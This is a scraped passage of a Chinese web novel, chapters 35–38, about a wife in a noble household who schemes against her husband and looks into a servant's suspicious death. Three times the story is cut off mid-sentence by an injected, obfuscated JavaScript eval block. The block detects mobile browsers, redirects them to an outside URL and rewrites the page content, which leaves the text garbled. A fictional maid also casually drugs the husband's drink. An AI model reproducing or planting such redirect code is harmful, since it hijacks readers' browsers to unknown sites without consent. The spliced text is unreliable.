家家有本难念的经，而归宁的难，唯有她自己知道。而且还是经历了前世惨痛的教训，才勉强窥探到一点儿天机，再多的她自己都看不透，何况是外人？ 乐巧沉默半晌，“麻烦夫人帮我打探一下，那个偷听消息的小丫头怎么样了吧。” 她还没有想好怎么办。 归宁轻轻点头，“好说，我们今天正好要去赵府一趟。那你先好好养着。” 两个苦难人在短暂的相遇之后，又重新回到自己的世界里挣扎。 这厢归宁推门出屋，看到朗朗乾坤下一片岁月静好，长长地呼出一口浊气，可还没缓过神来，柳妈妈神色匆匆的走来道：“姑娘，刚才有个徐家的人来传话，我没敢进去打扰您，先让她在偏厅上喝茶。已经等了一会子了。” 归宁还没捋明白是哪个徐家时，偏厅上的人起身道：“老身是徐四公子院子里的人，受公子之托，给夫人送样东西。” 南烟一眼就认出这人是栖迟别院里传信的妈妈，闻言急切道：“徐公子回来了？”昨天晚些时候，她又去了一趟栖迟别院，人还没有回来，本打算去了赵府之后，再跑一趟，竟在这里撞见徐家派来的人，也是奇了。 来人着一袭粗布衣衫，不似其他府邸的婆子涂着厚厚的脂粉，穿红着绿，刻意显示自己不同一般的身份。 此人十分素朴且有礼，头上也只插了一根银簪，十分恭敬道：“今早才回来，一回来就让老身送样东西来。” 言罢，从袖口中取出一个红色的平安结，捧给归宁。 归宁甚是好奇地接了过来，拧眉问道：“多谢妈妈，请问这有什么讲究？” 她实在不明白，徐四公子派人来送个平安结是何意。 那妇人不疾不徐地解释道：“公子受夫人之托前去寻人，前天晚上就到了萧家在西山的别院附近。当晚恰巧碰到一个黑衣人鬼鬼祟祟的从萧家别院的墙头翻出来，行动异常迅速，很快没了影。” “我家公子一连放了几支暗箭，都被这人轻松躲开了。公子觉得当晚不同寻常，不宜行动。想等两日里面太平了，再进去一探虚实。可谁知第二日一早，公子就听说别院里的人死了，他觉得十分蹊跷，特命老身来告诉夫人一声。” “而这样东西，就是黑衣人在躲避暗箭时，从身上掉落下来的，公子命老身拿来给夫人瞧瞧，是否认识。” 35. 抗拒 归宁拿在手中翻来覆去仔细看了看，道：“这只平安结的打结方式甚是不同寻常，京师很少有人用这种系法。” 南烟也附和道，“确实看着奇奇怪怪的。” 归宁见人不辞劳苦跑一趟，给南烟打了个眼色。南烟会意，掏出两个金豆子塞给妇人，道：“有劳妈妈了，大冷天的，去喝杯热酒暖暖身子吧。” 那妇人极力推辞不肯收，面色十分肃然，“夫人好意老身心领了。老身是受公子之托来传话，公子说了，夫人若有事可随时派人去别院寻他。”她只受命于一人，旁人给再多的好处，她也不会收。 归宁略含歉意道：“给徐公子添了不少麻烦。” 妇人道：“夫人莫要客气。能结识夫人，也是老身的荣幸。夫人若无别的事，老身就先告退了。” 这妇人刚迈出几步，归宁突然想起了什么，又道：“妈妈，请留步。” 那妇人闻言转过身来，十分恭谨道：“夫人请讲。” 归宁犹豫开口，“我去求徐四公子的事，还请妈妈务必帮忙保密。” 那妇人见归宁面色略带紧张，笑了笑道：“夫人放心吧，四公子办事很有分寸的。” 归宁也跟着笑道：“那以后有事我就不客气了。” 那妇人很是温和地笑着应了一声，随后被南烟和柳妈妈送出了门。 归宁对着平安结庆幸地道了句：“本以为是一手错棋，却不知误打误撞，竟窥到了另一桩隐情。” 从外边进来的南烟道：“想不到徐四公子如此上心，当日已经很晚了，他还是跑了一趟西山。” 归宁与徐家没有任何交情，徐四公子出手，那是看在小周王的面子上，看来小周王与徐四的关系匪浅，只恨不能当面与小周王道谢，着实遗憾。 归宁将平安结交给柳妈妈，“妈妈收起来吧，这东西我带回伯府实在不便。” 柳妈妈接过东西，问起了另一桩事，“夫人，弘文伯府吴明悄悄抵给当铺的重要物件，我们已经买回来了，您看怎么处置？” 归宁道：“先放在这里吧。” 南烟抱怨道：“夫人还是太心善了，干嘛不把这件事传出去，让萧家耆老来敲打敲打大爷？” 归宁语重心长道：“乐巧的事还不够长教训吗？说到底，库房失窃获利者是邓家，最不愿意把事情闹大的也是邓家。不要和小人争利，不仅得不到好处，还会遭反噬。小人没有底线，我们斗不过。” “我们要谈，就要和君子谈。君子会顾及脸面，不会太偏激，而小人只会不择手段。如今母亲不在京师，我势单力薄，唯一能做的就是稳住夫君，利用夫君。只要他认为我还有用，不对我生疑，我就不会有生命危险。而这件事，正是我笼络夫君最好的方式。在他眼里，我可以帮他，邓家只会害他。” 面对归宁的步步谨慎，自知有些冒进的南烟不敢再多言。 归宁抬头看了看日头，又道，“走吧，咱们还要去赵府看看大姐姐，不能在这里耽搁太久。” ** 归宁备了好些滋补的名贵药材，到了赵家来看望萧元荷。 赵太太将人领进芙蓉居，萧元荷仍旧卧床休息，气色比前几日红润了不少。 归宁将姜妈妈的事情说了，赵太太跟着叹了几句，萧元荷神色淡淡，半句话不愿多说。姜妈妈自小看着她长大，虽没有奶娘亲，可对她那真是掏心掏肺地好。 萧元荷这副神情，让归宁都替姜妈妈心寒。见她一副无精打采的模样，归宁小坐了片刻，就起身告辞。 赵太太脸面有些挂不住，亲自送归宁出来，请她去自己屋里坐坐。 归宁没有推辞，去了赵太太屋里喝茶，话头自然而然的转向了乐巧。归宁问道：“可有乐巧的消息了？” 赵太太唉声叹气道：“只找见了几件撕碎的衣衫，确定是她当日穿的那套衣服，人恐怕是……” 归宁道：“这些人也是奇怪，大费周章的劫持内宅的丫头婆子，还不要赎银，图什么？” 赵太太道：“可能是担心我们报案，设下埋伏抓他们吧。” 归宁一遍暗叹赵太太的实在，一边提醒道：“不会是乐巧姑娘或者郑妈妈开罪了什么人吧？不如问问她们的下人，最近有没有什么事情发生？” 赵太太却有些气愤道：“她们两个都是老实本分的丫头婆子，能干什么事儿？我赵家的仆人可不似萧家的管事，竟是些花花肠子。” 话里话外，又暗戳戳地将吴明的事拿出来敲打归宁。 见归宁面色不虞，又描补道：“伺候乐巧的那丫头，听说主子出了事，昨天大半夜起来求玉皇开恩，保佑主子平安。黑灯瞎火脚下踩空，跌进了水池里，第二日被人发现时已经冻僵了。” 昨日恰巧是接玉皇的日子。 “也是个苦命的丫头。你说说咱们两家府上这是冲撞了什么，接二连三的遇到这种事。” “等过了年，得请个道士进府，好生做场法事了。” 赵太太一心期盼神佛保佑，无论归宁如何提示，她都不愿意往他处多想，二人话不投机，说了些闲话就散了。 ** 归宁回府之后，去给邓氏请安，将赵家的事说了，又道：“母亲，等到了初二回娘家的时候，就留大姐姐在萧家好生住上几日吧。也把邓表妹和姚家的几位表妹都请来，大家凑在一起，热闹几日，让大姐姐宽宽心。” 邓氏觉得主意不错，点头道：“还是你想得周到。那就这样安排吧。” 晚间等萧元绰来孤芳苑用饭时，归宁也将这事说了，又道：“今年夫君还和姚家兄弟去西山打猎吗？如果去，我安排一下。” 萧元绰虽靠读书入仕，可从未当自己是手无缚鸡之力的书生，骑射功夫他从未放下过。文人风骨下，藏着一副武人体魄。 读书之余，常和姚家几位习武的表兄一番。如今公务繁忙，也只有元宵可以多歇息几日，去舒舒筋骨。 萧元绰坐在临窗的炕上吃茶，望向炕几对面的归宁，眼眸沉了沉，“再说吧。” 归宁问道：“夫君是另有其他安排？”她在想方设法将他往外赶。 萧元绰伸手将人拉过来，嗓音低沉，“阿宁，我都回来这么久了，是不是还有更重要的事情安排？” 萧元绰感觉到了归宁对他的躲闪。她从未主动开口留他，每次听说他回前院，她反而有一种如释重负的轻松。 萧元绰的手抚上归宁纤细的腰肢，轻柔的将她圈在怀中，“阿宁，你是不是不愿意？” 归宁没有挣扎，只是低眉不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582014|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语。 这种默然的反抗，让萧元绰有些狂躁，他拔身而起，长臂一伸，将归宁紧紧拥入怀中，低头就要去亲吻她红润的双唇。 归宁被吓得急忙躲闪，向后退了一步，用力地推开他。 她果真是不情愿的。 萧元绰叹口气，很君子地松开了手，复又坐回炕上，抬头审视她，目光研判，“阿宁，我们自小一起长大，你是不是有话对我讲？” 还没有成亲时，他们就已心意相通。去科考前，二人在藏在假山后说悄悄话，那时即便没有成亲，她都没有这般抗拒。他偷吻了她，她也只是含羞半敛眉，祝他蟾宫折桂，雁塔题名。 归宁在萧元绰的逼视下，想起前世种种和现下的困境，不由得落下泪来。 温婉端庄的女子，脆弱的如风中飘零的落英，既委屈，又要佯装坚强，一下子刺痛了萧元绰的心。 萧元绰想去靠近些，给她拭泪，却被她躲开了，手抬到半空，进退不得。他细细思索了最近发生的一切，心里陡然升起一股警惕，难道她发现了簪子里的秘密？ 不，那只是安抚母亲的权宜之计，他不是要那样对她一辈子的。 转念再一想，认为她应该没有发现，姑母不久前还来了信，给他说了不少应天的事。身旁人待他依旧，是不是自己多疑了。还是因为归宁近日一直操持内宅，太过忙碌而没有心思？ 正当萧元绰心思百转之际，归宁抽噎道：“夫君离家四年，我月月给夫君去家书，时常差人送去东西；夫君每隔半年才回复只言片语，我年轻，身旁没有长辈扶持，还没有夫君撑腰。” “夫君可知这几年，我一人在伯府操持，身边连个商量的人都没有，是有多辛苦？” 邓氏不会插手，却也不容自己人受委屈，府里什么好的都要先紧着福寿堂，否则邓氏不说什么，萧元荷和邓家人一定会暗戳戳地说三道四。 原是怪他这四年冷落了她，萧元绰好声好气道：“父亲与祖母相继病逝，我一时难以承受，忽视了你。” 归宁含泪道：“他们也是我的亲人，我也难过。” 萧元绰去拉归宁的手，归宁不依，最后只扯了她的衣袖，“阿宁，别与我置气了。以前是我不好，现在我回来了，一定好好补偿你。咱们就全了祖母的心意，和和美美的过日子，好不好？” 归宁咬唇不语，心里盘算着怎么劝他回书房。 落在萧元绰眼里，以为她还是在闹别扭，笑着哄道：“阿宁，我马上可以休沐了，带你出去走走，你想去哪儿？” 归宁随口道：“我想去看花灯。”以前舅舅在世时，外祖母每年都准许府中女眷上街看灯，在街上看杂耍，猜灯谜。这四年来，她被困府中，操劳管家，孝敬婆母，照看小姑，隔绝一切繁华和热闹。 萧元绰笑应道：“这个好说，我带你去。” 归宁破涕为笑，“那就一言为定，我……我还有些事要处置，夫君……” 萧元绰笑道：“不着急，我等你，我先去沐浴。” 归宁眼睁睁看着萧元绰起身，去了净房盥洗，忙招呼香冬进去服侍。 转头神色不安地对周嬷嬷道：“嬷嬷，怎么办？”她害怕极了，她知道自己在陷阱里，可面对逐步逼近的猎人，却逃无可逃。 36. 同床异梦 周嬷嬷拍了拍归宁的手，安抚道：“夫人莫急，等大爷沐浴之后，你就去梳洗，老奴想办法劝说大爷。” 归宁仍旧不安，“嬷嬷真的有办法？” 周嬷嬷看着自己带大的姑娘，日日担惊受怕，心里一揪，道：“姑娘别怕，老身和唐妈妈都在这里，三个臭皮匠顶个诸葛亮，咱们这么多人，想不到好办法也能出个烂点子，今晚总能囫囵过去的。” 不多时，萧元绰沐浴出来，身上只穿了一件中衣，身形如松，温润如玉。湿漉漉的头发挽在脑后，见归宁有些紧张地坐在床边，走过去将干帕子递过去道：“劳烦夫人帮为夫擦发吧。” 萧元绰在床前的锦凳上坐了，归宁站在他身后，手法甚是轻柔，一举一动都在撩拨萧元绰本就有些躁动的心。 周嬷嬷见状，笑着走过来，夺过归宁手上的帕子，“时候不早了，夫人快去沐浴，明日大爷还要早起上朝呢。” 萧元绰没有发话，归宁当他默许自己离开，甚是忐忑地进了净房，碧桃服侍她沐浴，见她有些心神不宁，不由道：“夫人是不是不舒服？” 归宁摇头，趴在浴桶边，任由她帮忙洗发。今日大爷明显是要宿在孤芳苑，碧桃打心眼里替主子高兴，手一抖，倒了大半瓶玫瑰露到浴汤里，一时间屋内香气四溢。 大概磨蹭了有小半个时辰，归宁才从净房出来，彼时萧元绰正歪在床头看书，抬眼一瞧，眼中闪过一丝惊艳。 眼前女子身姿窈窕，黑发如墨，容颜清丽，如朦胧月光下的出水芙蓉。细细闻去，空气间还弥漫着沁人心脾的淡淡香气，让人蠢蠢欲动。 萧元绰放下书卷，拿过碧桃手中帕子，哑声道：“我来吧。” 修长的手指挽起浓密的长发，郎君如美玉，佳人似娇花，外人谁看了不叹一句郎才女貌，天造地设的一对璧人？ 周嬷嬷命人搬来熏笼，里面放了炭火和熏香，又搬来小兀凳，让归宁坐在一旁，烘干长发。 南烟端来一盏桂皮蜜水，沐浴出来的归宁有些渴，几口喝完了。萧元绰觉得可能吃得有些咸，也有些口渴，先是喝了一盏，仍觉不够，又一连让南烟倒了两盏。 已是亥时，萧元绰最先打破安静，起身一把将归宁抱到床上，将她塞进里边的被子里，轻轻拍了拍，道：“好好睡吧，我睡外边。” 言罢，起身熄了床边的灯盏，自己裹着被子躺了下去。很快，刚沾到枕头边的归宁就听到旁边细微的鼾声传出，真是老天保佑，竟然不需要她多一句废话，他就识趣地睡着了！ 她局促不安的心终于慢慢镇定下来，小心翼翼地挪到拔步床的最里侧，闭上了眼睛。 前世种种一直在脑中盘旋。她已经说不清，那相敬如宾里，到底是算计多，还是情分多。 他明明知道，为了求一个孩子，她虔诚的顶着滂沱大雨，从山脚，三步一叩首磕头磕到山顶，只为求送子观音的垂帘。 一个老和尚给她卜卦，说她有前世的罪业要偿还，此生与孩子无缘。若想改命，需经历切肤之痛，接受上苍惩罚，方能修成正果。 他给卜了一个吉日，那日天雷滚滚，大雨滂沱，山间还有冰雹，他说，要在这样上天降罚的日子，虔诚悔过，方能洗去前世罪孽，获得佛祖的原谅。 那天的雨下了一日一夜，她从山脚爬到山顶，几乎废掉了半条命。回来后高烧不退，胡言乱语，险些一脚踏进鬼门关。 那时杨老夫人还活着，听了信儿之后，拿着阁老的印信，请了太医院官级最高医术最好的院使来给她瞧病，那院使命自己的关门弟子足足守了她五天，她才挺过来。 寂寂黑夜里，真真实实上演了同床异梦的戏码。一人酣然入梦，梦中香车美人，笑语盈盈。一人泪如雨下，往事不堪回首，相逢是孽缘。 给归宁卜卦的老和尚，是明渊寺的一名执事，与后山那个与人配药的老和尚不同，前者是明渊寺弟子，后者只是冒充明渊寺弟子身份，做谋财害命的勾当。 不过邓氏常去明渊寺上香，出手向来大方。归宁今日想起此事，甚是怀疑前世那老和尚是故意折腾她。 都怪她对萧元绰太过用心，忽略了很多事。 心事重重的归宁直到四更天才迷糊过去，隐约听见有人在床头喊萧元绰起床，“大爷，该起来上朝了。” 自从归来后，萧元绰从来没睡这么踏实过，一觉醒来神清气爽，披衣下床，借着床幔外昏黄的烛光，看到缩在床角的归宁，心中一紧。 暗暗叹了一声，连人带被将人抱出来些许。归宁不悦地哼了一声，迷迷糊糊不愿醒来。 萧元绰将她的脑袋从被子中剥出来，低头吻过她光洁的额头，轻柔安抚道：“睡吧。” 简单梳洗之后，萧元绰去上朝了。归宁没有似前世那般，日日陪他早起，为他穿衣，送他出门，而是一直赖到辰时才起。 还要去给婆母请安，归宁暗怪南烟，“怎么不早喊我？” 南烟笑道：“大爷吩咐了，天寒地冻的，夫人又日日操劳，不必早起。他会去给太夫人说，暂时免了夫人的晨昏定省先，让您好好歇几日。” 归宁苦笑，或许这就是他认为的补偿吧。可比起曾经受过的罪，这算得了什么？ 既然不用去请安，归宁还想多睡会儿，转头又躺下了，“那午时再喊我。” 南烟见屋里无人，笑道：“早知夫人睡不好，昨晚上也该在您的水里加点儿料。” 归宁微惊，“加什么？” 南烟覆在归宁耳边，悄悄道：“昨儿晚上我在大爷喝的那盏陈皮水里加了些蒙汗药，怕药味发苦，才泡了蜂蜜水。” 归宁大骇，“这是谁教你的？哪儿来的？” 南烟道：“唐妈妈教的。生意场上什么事儿遇不到？唐妈妈说她手上有的是好东西孝敬大爷。” 归宁立刻警惕起来，道：“别胡闹，一两次尚可，再多他就多心了。” 南烟笑道：“知道了，我的夫人！”特意调皮的把尾音拉得很长，还吐了吐舌头。随后又补充道：“不过嬷嬷说她已经有了更好的主意拖住大爷，大爷也应了。” 恰周嬷嬷进来，问她早上想吃些什么。归宁没心思再贪睡，披衣穿鞋道：“嬷嬷和他怎么说的？” 周嬷嬷笑道：“这话我给大爷说要瞒着您，自是不能现在告诉你。不过最多能拖到元宵节，这期间得赶快想其他法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594421|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。” “嬷嬷就不能先告诉我？” 周嬷嬷依旧坚持：“大爷说先瞒着你，他亲自给你说，我先说了不好。” 主仆几人说说笑笑间吃了早饭。府中的年味儿越来越浓，大红灯笼高高挂起，贴窗花，贴福纸，放鞭炮等等。 至腊月二十八这日，府中丫头婆子没人都领了过年的两套新衣服，双倍的月例，就等着过年给各屋主子拜年了。 ** 年关近，近大家都想欢欢喜喜过个大年，所以姜妈妈的丧事办得匆忙，至二十八午后就出殡入土了。晚间秦管事过来回话，说了葬礼的详情，归宁命人盘点东西，平了账。 说完葬礼的事，秦管事见屋内只有南烟在一旁，大胆道：“夫人，听别院里起夜的粗使婆子说，那天晚上确实有个黑影进了院子。她们认为是林子里的野猫过来觅食了，中间还听到几声猫叫。” “我看了姜妈妈母女二人住的屋子，是从里面反锁的，窗台上也没有脚印，不像是有人闯入过。” “不过听下人们说，门窗上的窗纸才换过不久，可我在窗户的一角，发现有个被烧过的小洞，但没有发现任何类似线香的东西，连烧过的香灰都没有。如果真有人来过，这个人非常谨慎。” 秦管事查得很仔细，可下手的人也不傻。 像弘文伯府这样讲究的人家，别院的窗纸都刷过桐油，扛风防雨，并非一捅就破，这个小洞虽不显眼，可也非同寻常。 归宁隔着屏风道，“秦管事怎么看？” 秦管事客观道：“姜妈妈有起夜的习惯，那晚却没有。” 归宁道：“我知道了，今日之事万不可对任何人讲，你可明白？南烟，送秦管事。” 事情已经很明了，有人杀了姜妈妈，这个人还曾丢了一个平安结。 那是谁派去的呢？难道是邓氏？一面假慈悲假装要接姜妈妈回来，掩人耳目；一面暗下杀手，弃车保帅。 若是邓家出手，那杀姜妈妈的人和袭击乐巧的会不会是一拨人？ 正当她细细思量之际，唐妈妈进屋，在归宁耳边悄悄道：“姑娘抽空回一趟倚梅园吧，乐巧姑娘说她想好了，要见您。” 归宁道：“我明日正好也有事过去一趟。”抬头瞥了一眼桌上摆着的五轮沙漏，已近酉时，萧元绰很快会下值回来，昨晚逃过一劫，今晚还要另想办法。 归宁正寻思找个由头请二姑娘过来陪自己，就听前院传话道：“有两位萧家远房亲戚来年要去京师的金台书院读书，准备一年之后的科考。前几日刚到京师，前来拜访大爷，大爷今晚就不回后院了。” 归宁闻言，一拍脑门，一时竟然把这事儿忘了。再过不到十四个月，就是三年一次的春闱。天子脚下的京师名师如云，外地有条件的学子，都会想方设法的来京寻名师指导。 如果祖上有关系的，也可借此机会攀谈攀谈。 萧家眼下是靠不住了，归宁必须要扶持宋家宗族的子弟。思及此，当夜就修书一封，准备明日出府时，托人送往应天给母亲。 今晚不用应付萧元绰，归宁早早就歇下来。翌日一早，萧元绰去了衙门，归宁去了倚梅园。 37. 回赵府 病了多日的乐巧高烧已退，只是咳得很厉害。归宁来时，她正坐在门槛上晒太阳，似乎是想通了。 那日从赵家出来，归宁就将那小丫头的事说给了乐巧，一直在等待乐巧的回复。 见到归宁，乐巧没有拐弯抹角，而是直言道：“我要回赵家。” 归宁一愣，“你不怕再被算计一次？” 乐巧迎向冬日里明灿灿的阳光，擦去眼角的一滴泪，坚定道：“我要为我自己和那个被我连累的丫头，讨回一个公道。若是这样窝窝囊囊的活下去，还不如一头撞死。” “你打算什么时候走？” 乐巧一开口就止不住咳，好一阵才止住道：“明天。大年三十吃团圆饭的晚上，我去敲赵府的门。” 归宁不忍，“不如再养一养身子吧。” 乐巧却笑了，“天寒地冻的腊月，一个孤苦伶仃的弱女子，在外边飘零十多天，还能气色红润的回去，那才是怪事。” 大年二十九，除夕的前一日，归宁陪着乐巧，在倚梅园吃了一顿午饭。 与别处的热闹喜庆的不同，这里虽也是有酒有肉，丰盛异常，却无端地透着一股浓浓的哀怨。 归宁给乐巧盛汤，最后一次劝道：“我能力有限，许不了你太多，可你若是想寻个山清水秀的地方，找个好人嫁了，安安稳稳过日子，我还是能办到的。” “我可以托人给你一个新的身份，保证不会有人知道你的过往。” 她前世吃过亏，知道乐巧这样无依无靠的人回去，唯一的下场就是被无情的乱流吞没，留不下一点儿痕迹。 归宁自身都难保，实在给不了乐巧太多的帮助。 乐巧闻言，站起身来，突然噗通一声跪下，道：“夫人的恩情我无以报答，夫人已经帮过我一次，可我还想斗胆求夫人再帮我一次。” 说完这一句，她又开始咳起来，归宁弯身扶她起来，“地上凉，起来说吧，能帮你的我一定尽力。” 乐巧拂开她的手，继续跪在地上，“夫人，万一我没能熬到最后一刻，日后若有机会，还求夫人还我一个公道。我不为难夫人，我等着天道轮回的那一日，期望有个人能为我说句话，也不枉我来人间这一遭。” 归宁含泪点头，“你放心，快起来吧。”拉她起身，一下下帮她顺着后背，缓解咳嗽带来的不适。 归宁看乐巧，就像是看前世那个濒死挣扎的自己，抱着必死之心，也要为自己，为那个小丫头讨一个说法。 几人用完中饭，归宁猜测萧元绰可能已经回府了，不敢耽搁太久，命人将柳妈妈赎回来的东西搬上车，准备回府。 乐巧见这些东西都甚是名贵，不由多了一句嘴，“这是要送去哪里？” 南烟被归宁说教了几次，不敢乱说，跟随出来的唐妈妈是个暴脾气，早就憋了一肚子火气，“还能是什么？吴明从库房里偷出来的东西，都抵押给了当铺，大爷忙于公务，顾不上去赎。” “当初说好的是活当，还给宽限了两个月，再拖下去就成死当了，有些东西传到别人手上，萧府就成笑话了。姑娘看不过去，先给赎了出来，拿自己的嫁妆填补这样的窟窿。真好比那肉包子打……” 不待唐妈妈说完，归宁急忙制止道，“妈妈别气，我这么做自有我的道理。有些是外祖母的爱物，我总不能眼睁睁看着它落入别人手之手。” 便是已经出了萧家的宋娘子看到了，也会拿钱去赎回来，怎么说她也是萧家出来的姑娘。就是为了宋娘子，也该做这件事，唐妈妈重重叹口气，“姑娘就当我没说。” 归宁看向乐巧，语重心长道：“小人畏威不畏德，我们是斗不过的，所以回去之后，别处处针对萧元荷。小不忍则乱大谋。” 乐巧只是点了点头，未多言语。 归宁又道：“我在正通钱庄以你的名义存了一笔钱，你在赵府站稳脚跟后，需要的时候可以去取。我只能帮你这么多了，后会有期。” 归宁要去抱一抱乐巧，乐巧觉得自己是个不干净的人，本能地往后躲闪，还是被归宁一把拽入怀里，“要好好保重，活着最重要。” 乐巧泪眼朦胧，有些哽咽道：“夫人这么好，萧家真是眼瞎。” 两个同是沦落人的女子，用微弱的光，照亮了彼此，好不容易可以喘口气，却又不得不奔向困住她们的牢笼。 归宁登车离去，驶向那个她做梦都想逃出来的虎穴。 萧元绰与同僚去酒肆小聚，还未归，归宁命人将东西送回了自己的院子。 当日，萧元绰喝多了，被人扛着回来的，晚上就宿在了前院。他吵吵着想去后院，文轩还要抬着人往后院走，秦三却道：“大爷刚刚吐了，再吹了冷风可不好。” 于是，萧元绰被送回了前院的书房。归宁得了信，命人送去了醒酒汤。 ** 今日除夕，萧元绰一大早来到孤芳苑，归宁已经开始忙碌。今日要祭祖、守岁、吃团圆饭，事情很多。 南烟将算盘打得噼啪直响，萧元绰笑问道，“算什么呢？” 南烟头也不抬，“府里的仆人明儿一早会带着一家老小来给主子拜年，不发压岁钱呀？” 归宁见萧元绰来，笑道：“夫君要不还是去母亲院子里清净一会儿，今儿我这院子事多，等晚间吃了团圆饭，恐怕才能清闲下来。” 萧元绰摇了摇头，坐着不动，“我陪着你。” 年节虽事情繁琐，可归宁也不是第一次经手，手下的人也都精明能干，才刚刚巳时，都各自领了差事去了，屋里很快安静下来。 萧元绰得闲，写了几个福字，命人拿去贴了。他的字体苍劲有力，自成一派，归宁忍不住赞道：“还是夫君写的字好看。” 萧元绰笑道，“小时候练字时，我稍有不对，夫子的戒尺就下来了。”印象中夫子唯对他格外严厉些。 外祖母在时，特意托了关系，为他们几个请了一个致了仕夫子过来授课，加上姚家的几个，凑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604785|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 六个学生。 邓氏本想让娘家的孩子也过来，听老太太说夫子年事已高，若想要夫子分出更多心思教导绰哥儿，就别添麻烦，这才作罢。 萧元绰不仅天分高，且比别人更刻苦，姚家三公子天天哄他出去玩儿，都喊不动。就是归宁心动，想去躲个懒，也能被萧元绰拽回来，陪他一起练字。 今日听归宁赞他的字写得好，萧元绰来了兴致，站在临摹千字福的归宁身后，握住她的手，笑道：“这个福字写的不好，我教你。” 归宁手一抖，硕大的墨滴落了下来，又废了一张红纸。 萧元绰握着她纤细的手腕，在她耳边低语，“我还比夫子严厉了？别紧张！赵佶瘦金体的福字应该这么走笔。” 归宁却想打退堂鼓，“我还有事忙，先不练了。” 萧元绰不依，握紧她的手腕，“我带你写两遍。”见她手腕紧绷，有些不配合，轻轻拍了拍，道：“放松些，别和我较着劲，这样容易写歪。” 恰在此时，二姑娘拿着自己写的福字，也不等下人通报，就蹦蹦跳跳的走了进来，进屋扬了扬手中的红纸，笑道：“嫂嫂你看我写的字，是不是有进步？” 猛然瞧见二人举止如此亲密，羞怯的大叫了一声，捂着脸往外跑。 萧元绰低斥了一声，“跑什么跑，拿过来我瞧瞧。” 萧元昕没办法，不情不愿地挪过去，将手中的字拿给他看，低垂着眉眼，不敢抬头，等待着大哥的批评，“着实太过一般，过几日我找几张字帖给你临摹。” 元昕年纪还小，又生性怯懦，该多鼓励鼓励，归宁笑道：“是我教得不好。” “夫君字写得好，你今日教教她。” 萧元绰教归宁，是有意和她亲近；若让他教元昕，他没心思，“我去祠堂看看祭祖的东西，中午过来陪你吃饭。” 见严厉的大哥离开，元昕才跳到归宁身边，露出天真的笑颜，缠着归宁教她练字。 ** 年三十开宗祠，萧元绰带领众人祭祖，说了好些告慰祖宗和祈求祖宗保佑的话。结束之后，在太夫人居住的福寿堂开年夜饭，众人齐聚一堂。 自姜妈妈突然离世之后，邓氏心中郁结难排，邓雪柔就留在了萧府，一直到今日。 用过年夜饭之后，前院的小厮们开始放烟火，元昕跟着归宁身边的香冬一起去凑热闹了。 邓氏只留了邓雪柔一人陪自己守岁，放萧元绰和归宁回他们自己的院子。 萧元绰陪着归宁一起走在回孤芳苑的路上，很自然的牵起了她柔软修长的手。 归宁暗暗算了算时辰，乐巧回赵府应该有些时候了，消息很快就能送过来，遂笑对萧元绰道：“夫君，我有一样新年节礼给您。” 萧元绰将她拉进自己身侧，伸手环住她的柳腰，进了屋子，笑道：“巧了我也有东西送你。” 看似夫妻和睦的二人，嘴上说着最深情的话，心里却藏着对彼此最深的芥蒂…… 38. 礼物 二人进屋坐定，丫头们都出去玩儿了，唯有周嬷嬷看屋子，给二人上了解腻的荷叶薄荷水。冬日天干物燥，屋内炭火又旺，萧元绰喝了一盏，觉得甚好，道：“我还是第一次见人这么泡茶。” 归宁道：“我也是在古籍上随便看的。” 萧元绰见她自己没有喝，想给她倒一盏，却被周嬷嬷制止了，解释道：“荷叶和薄荷都是寒凉之物，夫人不合适。” 归宁下午有些不适，一看是来了月事，比往常竟晚了几日，她还认为是自己身体出了问题，犹豫要不要请郎中看看。见终于来了，心里竟踏实了不少。 萧元绰听完周嬷嬷的话，微微一怔，看到归宁耳边泛红，才明白怎么回事儿，“不要紧的事让下人们去做吧，别累着。母亲那里的晨昏定省也免了吧，等开春暖和了再说。” 归宁感激的点了点头，“多谢夫君体谅。” 萧元绰握了握她微凉的指尖，默默从袖中取出一个嵌宝石金镯、两盒时兴的胭脂和几小盒非常精致的口脂，道：“我瞧着不错，随手买的，你看看喜欢不？” 归宁看到这些，自然而然想起了前世他送自己的那些不干净的东西。心中十分警惕，面上却笑容款款，“喜欢的，多谢夫君。”言罢，让周嬷嬷将东西收起来。 起身，拽着萧元绰的衣袖，道：“夫君随我来一下。” 萧元绰被她扯着走了几步，刚要去拉她的手，她却突然松开了。两人一同到了东次间，这里原本是一间小书房，现在放了书架和多宝阁，搁置一些东西。 归宁指着临窗红木桌上的东西道，“夫君，这些是库房里丢失的一些重要东西，柳妈妈偶然间在当铺里发现。有些是皇家赏赐，有些是外祖母喜欢的东西，我就让柳妈妈先赎了回来。” 